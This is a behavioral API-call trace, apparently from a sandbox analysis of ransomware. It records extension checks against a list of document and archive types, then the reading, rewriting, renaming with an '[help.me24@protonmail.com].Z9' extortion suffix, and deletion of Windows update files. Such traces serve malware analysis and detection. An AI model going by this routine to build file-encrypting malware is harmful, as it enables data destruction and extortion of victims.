	[0170.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85
	[0170.733] lstrlenW (lpString=".zip") returned 4
	[0170.733] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0170.733] lstrlenW (lpString=".rar") returned 4
	[0170.733] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0170.733] lstrlenW (lpString=".bz2") returned 4
	[0170.733] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0170.733] lstrlenW (lpString=".7z") returned 3
	[0170.733] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0170.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85
	[0170.733] lstrlenW (lpString=".dbf") returned 4
	[0170.733] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0170.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85
	[0170.733] lstrlenW (lpString=".1cd") returned 4
	[0170.733] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0170.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85
	[0170.733] lstrlenW (lpString=".jpg") returned 4
	[0170.733] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0170.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85
	[0170.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85
	[0170.734] lstrlenW (lpString=".doc") returned 4
	[0170.734] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0170.734] lstrlenW (lpString=".docx") returned 5
	[0170.734] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1
	[0170.734] lstrlenW (lpString=".pdf") returned 4
	[0170.734] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0170.734] lstrlenW (lpString=".xls") returned 4
	[0170.734] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0170.734] lstrlenW (lpString=".xlsx") returned 5
	[0170.734] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1
	[0170.734] lstrlenW (lpString=".ppt") returned 4
	[0170.734] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0170.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85
	[0170.734] lstrlenW (lpString=".zip") returned 4
	[0170.734] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0170.734] lstrlenW (lpString=".rar") returned 4
	[0170.734] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0170.734] lstrlenW (lpString=".bz2") returned 4
	[0170.734] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0170.734] lstrlenW (lpString=".7z") returned 3
	[0170.734] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0170.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85
	[0170.734] lstrlenW (lpString=".dbf") returned 4
	[0170.734] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0170.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85
	[0170.734] lstrlenW (lpString=".1cd") returned 4
	[0170.734] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0170.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85
	[0170.734] lstrlenW (lpString=".jpg") returned 4
	[0170.734] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0170.734] lstrcmpiW (lpString1=".msu", lpString2=".Z9") returned -1
	[0170.735] lstrlenW (lpString="Windows6.1-KB2999226-x64.msu") returned 28
	[0170.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x64.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0170.884] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=1026422) returned 1
	[0170.884] CloseHandle (hObject=0x53c) returned 1
	[0170.884] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x64.msu")) returned 0x220
	[0170.885] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x64.msu.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0170.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x64.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0170.886] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.886] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x64.msu.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0170.907] GetLastError () returned 0x0
	[0170.907] ReadFile (in: hFile=0x53c, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0xfa976, lpOverlapped=0x0) returned 1
	[0170.952] WriteFile (in: hFile=0x538, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0xfa980, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0xfa980, lpOverlapped=0x0) returned 1
	[0171.231] ReadFile (in: hFile=0x53c, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x0, lpOverlapped=0x0) returned 1
	[0171.231] WriteFile (in: hFile=0x538, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x10c, lpOverlapped=0x0) returned 1
	[0171.232] SetEndOfFile (hFile=0x538) returned 1
	[0171.232] CloseHandle (hObject=0x538) returned 1
	[0171.232] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.232] SetEndOfFile (hFile=0x53c) returned 1
	[0171.747] CloseHandle (hObject=0x53c) returned 1
	[0171.747] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0171.748] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x64.msu")) returned 1
	[0171.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79
	[0171.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79
	[0171.749] lstrlenW (lpString=".doc") returned 4
	[0171.749] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1
	[0171.749] lstrlenW (lpString=".docx") returned 5
	[0171.749] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1
	[0171.749] lstrlenW (lpString=".pdf") returned 4
	[0171.749] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1
	[0171.749] lstrlenW (lpString=".xls") returned 4
	[0171.749] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1
	[0171.749] lstrlenW (lpString=".xlsx") returned 5
	[0171.749] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1
	[0171.749] lstrlenW (lpString=".ppt") returned 4
	[0171.749] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1
	[0171.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79
	[0171.749] lstrlenW (lpString=".zip") returned 4
	[0171.749] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1
	[0171.749] lstrlenW (lpString=".rar") returned 4
	[0171.749] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1
	[0171.749] lstrlenW (lpString=".bz2") returned 4
	[0171.749] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1
	[0171.749] lstrlenW (lpString=".7z") returned 3
	[0171.749] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1
	[0171.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79
	[0171.749] lstrlenW (lpString=".dbf") returned 4
	[0171.749] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1
	[0171.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79
	[0171.750] lstrlenW (lpString=".1cd") returned 4
	[0171.750] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1
	[0171.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79
	[0171.750] lstrlenW (lpString=".jpg") returned 4
	[0171.750] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1
	[0171.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79
	[0171.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79
	[0171.750] lstrlenW (lpString=".doc") returned 4
	[0171.750] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1
	[0171.750] lstrlenW (lpString=".docx") returned 5
	[0171.750] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1
	[0171.750] lstrlenW (lpString=".pdf") returned 4
	[0171.750] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1
	[0171.750] lstrlenW (lpString=".xls") returned 4
	[0171.750] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1
	[0171.750] lstrlenW (lpString=".xlsx") returned 5
	[0171.750] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1
	[0171.750] lstrlenW (lpString=".ppt") returned 4
	[0171.750] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1
	[0171.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79
	[0171.750] lstrlenW (lpString=".zip") returned 4
	[0171.750] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1
	[0171.750] lstrlenW (lpString=".rar") returned 4
	[0171.750] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1
	[0171.750] lstrlenW (lpString=".bz2") returned 4
	[0171.750] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1
	[0171.750] lstrlenW (lpString=".7z") returned 3
	[0171.750] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1
	[0171.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79
	[0171.750] lstrlenW (lpString=".dbf") returned 4
	[0171.750] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1
	[0171.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79
	[0171.751] lstrlenW (lpString=".1cd") returned 4
	[0171.751] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1
	[0171.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79
	[0171.751] lstrlenW (lpString=".jpg") returned 4
	[0171.751] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1
	[0171.751] lstrcmpiW (lpString1=".msu", lpString2=".Z9") returned -1
	[0171.751] lstrlenW (lpString="Windows8.1-KB2999226-x64.msu") returned 28
	[0171.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x64.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0171.752] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=994589) returned 1
	[0171.752] CloseHandle (hObject=0x544) returned 1
	[0171.753] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x64.msu")) returned 0x220
	[0171.753] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x64.msu.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0171.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x64.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0171.753] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.753] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x64.msu.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0171.827] GetLastError () returned 0x0
	[0171.827] ReadFile (in: hFile=0x544, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0xf2d1d, lpOverlapped=0x0) returned 1
	[0171.857] WriteFile (in: hFile=0x548, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0xf2d20, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0xf2d20, lpOverlapped=0x0) returned 1
	[0171.877] ReadFile (in: hFile=0x544, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x0, lpOverlapped=0x0) returned 1
	[0171.877] WriteFile (in: hFile=0x548, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x10c, lpOverlapped=0x0) returned 1
	[0171.877] SetEndOfFile (hFile=0x548) returned 1
	[0171.877] CloseHandle (hObject=0x548) returned 1
	[0171.877] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.877] SetEndOfFile (hFile=0x544) returned 1
	[0171.900] CloseHandle (hObject=0x544) returned 1
	[0171.900] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0171.901] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x64.msu")) returned 1
	[0171.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79
	[0171.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79
	[0171.902] lstrlenW (lpString=".doc") returned 4
	[0171.902] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1
	[0171.902] lstrlenW (lpString=".docx") returned 5
	[0171.902] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1
	[0171.902] lstrlenW (lpString=".pdf") returned 4
	[0171.902] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1
	[0171.902] lstrlenW (lpString=".xls") returned 4
	[0171.902] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1
	[0171.902] lstrlenW (lpString=".xlsx") returned 5
	[0171.902] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1
	[0171.902] lstrlenW (lpString=".ppt") returned 4
	[0171.902] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1
	[0171.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79
	[0171.902] lstrlenW (lpString=".zip") returned 4
	[0171.902] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1
	[0171.902] lstrlenW (lpString=".rar") returned 4
	[0171.902] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1
	[0171.902] lstrlenW (lpString=".bz2") returned 4
	[0171.902] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1
	[0171.902] lstrlenW (lpString=".7z") returned 3
	[0171.902] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1
	[0171.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79
	[0171.902] lstrlenW (lpString=".dbf") returned 4
	[0171.902] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1
	[0171.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79
	[0171.902] lstrlenW (lpString=".1cd") returned 4
	[0171.902] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1
	[0171.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79
	[0171.902] lstrlenW (lpString=".jpg") returned 4
	[0171.902] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1
	[0171.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79
	[0171.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79
	[0171.903] lstrlenW (lpString=".doc") returned 4
	[0171.903] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1
	[0171.903] lstrlenW (lpString=".docx") returned 5
	[0171.903] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1
	[0171.903] lstrlenW (lpString=".pdf") returned 4
	[0171.903] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1
	[0171.903] lstrlenW (lpString=".xls") returned 4
	[0171.903] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1
	[0171.903] lstrlenW (lpString=".xlsx") returned 5
	[0171.903] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1
	[0171.903] lstrlenW (lpString=".ppt") returned 4
	[0171.903] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1
	[0171.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79
	[0171.903] lstrlenW (lpString=".zip") returned 4
	[0171.903] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1
	[0171.903] lstrlenW (lpString=".rar") returned 4
	[0171.903] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1
	[0171.903] lstrlenW (lpString=".bz2") returned 4
	[0171.903] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1
	[0171.903] lstrlenW (lpString=".7z") returned 3
	[0171.903] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1
	[0171.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79
	[0171.903] lstrlenW (lpString=".dbf") returned 4
	[0171.903] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1
	[0171.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79
	[0171.903] lstrlenW (lpString=".1cd") returned 4
	[0171.903] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1
	[0171.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79
	[0171.903] lstrlenW (lpString=".jpg") returned 4
	[0171.903] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1
	[0171.904] lstrcmpiW (lpString1=".msu", lpString2=".Z9") returned -1
	[0171.904] lstrlenW (lpString="Windows8.1-KB2999226-x86.msu") returned 28
	[0171.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x86.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0171.947] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=595977) returned 1
	[0171.947] CloseHandle (hObject=0x544) returned 1
	[0171.947] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x86.msu")) returned 0x220
	[0171.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x86.msu.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0171.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x86.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0171.970] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.970] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x86.msu.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0171.970] GetLastError () returned 0x0
	[0171.970] ReadFile (in: hFile=0x530, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x91809, lpOverlapped=0x0) returned 1
	[0171.990] WriteFile (in: hFile=0x548, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x91810, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x91810, lpOverlapped=0x0) returned 1
	[0172.003] ReadFile (in: hFile=0x530, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.003] WriteFile (in: hFile=0x548, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x10c, lpOverlapped=0x0) returned 1
	[0172.258] SetEndOfFile (hFile=0x548) returned 1
	[0172.258] CloseHandle (hObject=0x548) returned 1
	[0172.258] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.258] SetEndOfFile (hFile=0x530) returned 1
	[0172.275] CloseHandle (hObject=0x530) returned 1
	[0172.275] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0172.427] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x86.msu")) returned 1
	[0172.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79
	[0172.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79
	[0172.941] lstrlenW (lpString=".doc") returned 4
	[0172.941] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1
	[0172.941] lstrlenW (lpString=".docx") returned 5
	[0172.941] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1
	[0172.941] lstrlenW (lpString=".pdf") returned 4
	[0172.941] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1
	[0172.941] lstrlenW (lpString=".xls") returned 4
	[0172.941] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1
	[0172.941] lstrlenW (lpString=".xlsx") returned 5
	[0172.941] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1
	[0172.941] lstrlenW (lpString=".ppt") returned 4
	[0172.941] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1
